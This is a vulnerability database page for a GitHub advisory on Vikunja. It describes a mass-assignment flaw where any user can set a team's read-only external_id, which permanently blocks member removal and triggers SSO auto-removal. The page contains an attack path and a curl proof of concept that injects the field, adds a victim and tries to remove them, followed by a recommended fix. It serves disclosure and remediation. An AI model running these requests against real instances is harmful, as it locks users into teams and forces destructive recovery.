llamaCVEVulnerability Intelligence
/
Advisory · GitHub · Go · code.vikunja.io/api

GHSA-FJRF-GJMG-9V6G

Team members cannot be removed after a client writes `external_id`

Sin parche publicado
Descargar PNG JSON
CVSS
—
low
Fuente: —
ExplotaciónSin evidenciaNo figura en CISA KEV
Exploits públicos0Ninguno conocido
ParcheSin parcheEl fabricante no ha publicado corrección
Exposición28 dDesde la divulgación, 22 oct 2026, 5:07 a. m.
Detección27 dDesde la divulgación hasta su ingreso al índice
Timeline

Ciclo de vida de la vulnerabilidad

Hoy
Divulgación
Publicada
Explotación
Remediación
Monitoreo
Detectada +1
22 oct 26
18 nov 26
20 nov 26
22 oct 26
29 oct 26
5 nov 26
13 nov 26
20 nov 26
FechaFaseEventoDetalle
Divulgación Publicada GHSA-FJRF-GJMG-9V6G divulgada
Monitoreo Detectada Ingresó al índice
Monitoreo Verificada Última verificación contra las fuentes
Resumen
Descripción del advisory
Texto original · GitHub · en inglés
Impact

Any authenticated user can set the `external_id` of a team they create or administer through the normal team create and update endpoints. The field is tagged `readOnly:"true"` and is meant to be provisioned only by the LDAP or OpenID Connect team sync; Huma does not strip it from request bodies, and neither `Team.Create` (which calls `CreateNewTeam`) nor `Team.Update` clears or omits it before writing to the database (`teams.go:216`, `:427`; xorm writes any non-zero column on update). Once `external_id` is non-empty, `TeamMember.Delete` refuses every removal for that team — a self-removal, an admin removing someone else, and even an instance admin are all rejected with "cannot remove a user from an externally managed team". Because xorm skips zero-value columns on a struct update, the attacker cannot undo it either by sending an empty value back.

There is a second side effect: `findAllExternalTeamIDsForUser` (`team_sync.go:66-75`) ignores the issuer, so a client-tagged team counts as SSO-managed for every member. An SSO user who is a member of such a team is removed from it automatically at their next SSO login.

Exploitation needs no special role: `Team.CanCreate` returns `true` for any non-link-share principal, so a freshly registered account is enough. Severity is low: it does not cross a tenant boundary — the attacker can only freeze teams they can already administer or create — and it exposes no data, though the effect lands on other members and is persistent. The only recovery is deleting the whole team, which also tears down every project share that team held.

Patches

No official patch exists at the time of writing. Vikunja 2.7.0 is affected, and the fix pattern needed here is the same one already applied to a sibling defect in 2.4.0 (see CVE-2026-55067 below), so backporting it should be straightforward. See Fix Recommendation for the specific change.

Workarounds

There is no configuration switch that closes this. An operator who wants to harden a running instance can reject requests where the team body carries a non-empty `external_id` at the reverse proxy, but that is a narrow, brittle rule. If a team has already been poisoned, an instance admin can recover the instance by deleting the affected team (`DELETE /api/v2/teams/{id}`) — acceptable only if losing that team's project shares is tolerable, since members cannot be detached individually.

Attack Path (Validation Evidence)

[Entry Point] POST /api/v2/teams HTTP/1.1
              Authorization: Bearer <any authenticated user's JWT>
              Body: {"name":"x","external_id":"attacker-chosen"}
    ↓
[Controller] teamsCreate()  (pkg/routes/api/v2/teams.go:138-154)
    ↓  Body models.Team — Huma binds `external_id` verbatim; readOnly does not block it
[Pipeline] handler.DoCreate()  (pkg/web/handler/core.go:31-65)
    ↓
[Authz] Team.CanCreate()  (pkg/models/teams_permissions.go:25-32)
    ↓  returns true for any non-link-share principal — no gate
[Model] Team.Create()  (pkg/models/teams.go:337) → CreateNewTeam()  (:200-231)
    ↓  zeroes ID (:212) and sets CreatedByID (:213) but leaves ExternalID
[Vulnerable] s.Insert(t)  (pkg/models/teams.go:216)
    ↓
[Trigger] TeamMember.Delete()  (pkg/models/team_members.go:91-100)
    ↓  if t.ExternalID != "" { return ErrCannotRemoveUserFromExternalTeam }
[Impact] every member of that team is permanently unable to leave or be removed

Taint Flow (Validation Evidence)

Source: HTTP request body field "external_id"  (pkg/routes/api/v2/teams.go:140)
    ↓  type: string, fully attacker-controlled (maxLength 250, no charset restriction)
[Transform 1] Huma request-body binding  (huma v2.39.1)
    ↓  ✗ no sanitization — Huma's own docs state readOnly/writeOnly are "not enforced
       by Huma and the values in those fields are not modified by Huma"
[Transform 2] validateInputBody()  (pkg/routes/api/v2/validation.go:34-57)
    ↓  △ skips govalidator only (:80 explicitly skips readOnly fields) — not sanitization
[Transform 3] handler.DoCreate()  (pkg/web/handler/core.go:31)
    ↓  ✗ generic pipeline, no field-level scrubbing
[Transform 4] Team.Create() → CreateNewTeam()  (pkg/models/teams.go:337, :200-231)
    ↓  ✗ the missing sanitizer: no `t.ExternalID = ""` in Team.Create
Sink: s.Insert(t)  (pkg/models/teams.go:216)  /  s.Update(t)  (:427)
    ↓
Impact: teams.external_id is attacker-controlled; TeamMember.Delete then blocks all removals

Proof of Concept

Request
# Any registered user's JWT (registration is open when auth.local.enabled=true)
TOKEN=$(curl -s -X POST http://localhost:3456/api/v2/login \
  -H 'Content-Type: application/json' \
  -d '{"username":"attacker","password":"Attacker123!"}' | jq -r .token)

# Step 1: create a team with external_id injected
TEAM_ID=$(curl -s -X POST http://localhost:3456/api/v2/teams \
  -H "Authorization: Bearer $TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"name":"innocent-looking-team","external_id":"ldap-bogus"}' | jq -r .id)

# Step 2: add a victim
curl -s -X PUT "http://localhost:3456/api/v2/teams/$TEAM_ID/members/victim" \
  -H "Authorization: Bearer $TOKEN" -H 'Content-Type: application/json' -d '{"admin":false}'

# Step 3: try to remove the victim (expected to fail)
curl -s -X DELETE "http://localhost:3456/api/v2/teams/$TEAM_ID/members/victim" \
  -H "Authorization: Bearer $TOKEN"
Expected Result
// Step 1 (201):
{"id": 42, "name": "innocent-looking-team", "external_id": "ldap-bogus", "is_public": false, ...}

// Step 3 (error, not 200):
{"code": 3xxx, "message": "Cannot remove a user from an externally managed team."}

The point to watch: step 3 fails regardless of who calls it. Swap in the team admin's token, the victim's own token, or an instance admin's token and the result is the same. The members are locked in.

Reproduction Steps
  1. Deploy Vikunja 2.7.0 with default configuration (local auth enabled, registration open).
  2. Register an account and obtain a JWT from `POST /api/v2/login`.
  3. Run step 1 above with `external_id` in the body.
  4. Confirm the response echoes the injected `external_id` — that proves the server persisted a client-supplied value into a read-only field.
  5. Run steps 2 and 3 and confirm the removal is rejected.
  6. Optional: `PUT /api/v2/teams/{id}` with `external_id: ""` and confirm it does not clear the field.

We could not execute this against a live instance — the analysis environment has no Go toolchain — so the evidence here is static. The binding behaviour is nonetheless well established: it is documented by Huma, asserted by Vikunja's own code comment at `pkg/routes/api/v2/validation.go:79`, and corroborated by `pkg/modules/mcp/spec.go:95`, where Vikunja filters read-only properties itself precisely because Huma does not.

Affected Component

  • Files: `pkg/models/teams.go:216` (write, `CreateNewTeam`), `pkg/models/teams.go:427` (write, `Update`), `pkg/models/teams.go:44` (field definition)
  • Functions: `Team.Create` (via `CreateNewTeam`), `Team.Update`; downstream `findAllExternalTeamIDsForUser` (`pkg/models/team_sync.go:66-75`)
  • Routes: `POST /api/v2/teams` (`pkg/routes/api/v2/teams.go:138`), `PUT /api/v2/teams/{id}` (`:157`); the v1 equivalents `PUT /api/v1/teams` and `POST /api/v1/teams/{id}` are affected the same way
  • Downstream: `pkg/models/team_members.go:98` (the delete guard), `pkg/models/user_invite_link.go:97` (invite links refused for external teams)
  • Dependencies: `github.com/danielgtaylor/huma/v2 v2.39.1` (its binding behaviour is not the defect), `xorm.io/xorm v1.4.1` (zero-value column skip)

Fix Recommendation

 func (t *Team) Create(s *xorm.Session, a web.Auth) (err error) {
+	t.ExternalID = ""
 	err = t.CreateNewTeam(s, a, true)
 	...
 }

 func (t *Team) Update(s *xorm.Session, _ web.Auth) (err error) {
 	...
+	t.ExternalID = ""
 	_, err = s.ID(t.ID).UseBool("is_public").Update(t)
 	...
 }

Two notes on scope. First, the fix belongs in `Team.Create`, not in `CreateNewTeam` (`teams.go:200`): the LDAP/OIDC team sync calls `CreateNewTeam` with a real `ExternalID` (`team_sync.go:202`). Clearing it in `Update` is safe because xorm skips zero values, so the stored value is left untouched. Second, the underlying design puts the burden on every model to ignore its own `read-only` fields — `validation.go:79` says as much — and with a few hundred model fields that contract will keep leaking. This bug and CVE-2026-55067 are two instances of the same miss. Clearing read-only fields centrally in `handler.DoCreate`/`DoUpdate` would turn the convention into an enforced rule. That is the fix worth considering for the longer term; the diff above is the fix to ship now.

A regression test in `pkg/webtests/huma_team_test.go` (create and update a team with `external_id` set, assert the field stays empty, and that team sync still sets it) would keep it from coming back.

References

  • CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes https://cwe.mitre.org/data/definitions/915.html
  • OWASP Mass Assignment Cheat Sheet https://cheatsheetseries.owasp.org/cheatsheets/Mass_Assignment_Cheat_Sheet.html
  • CVE-2026-55067 / GHSA-569v-q83c-3j3g — kanban-bucket `project_view_id` mass-assignment, fixed in 2.4.0 (same defect family) https://osv.dev/vulnerability/GHSA-569v-q83c-3j3g
  • Huma documentation — `readOnly` / `writeOnly` are not enforced and do not modify field values https://huma.rocks/features/request-validation/

---

> Audit snapshot commit: `669c4f8e081b40347f28984565115dcea47f8846` (`669c4f8e`)
> Chinese version: `VULN-vikunja-20261010-001.md`

Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.

Versiones

Rangos afectados

Afectada Corregida Última
code.vikunja.io/api≤ 2.7.0
v0.24.6
2.7.0
Remediación

Estado del parche por paquete

Paquete / productoEstadoCorregida enDesde divulgaciónÚltima versión
gocode.vikunja.io/api
Sin parche — — v0.24.6 afectada
Explotación

Arsenal público

Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.

Referencias
Advisoryhttps://github.com/go-vikunja/vikunja/security/advisories/GHSA-fjrf-gjmg-9v6g

Las referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.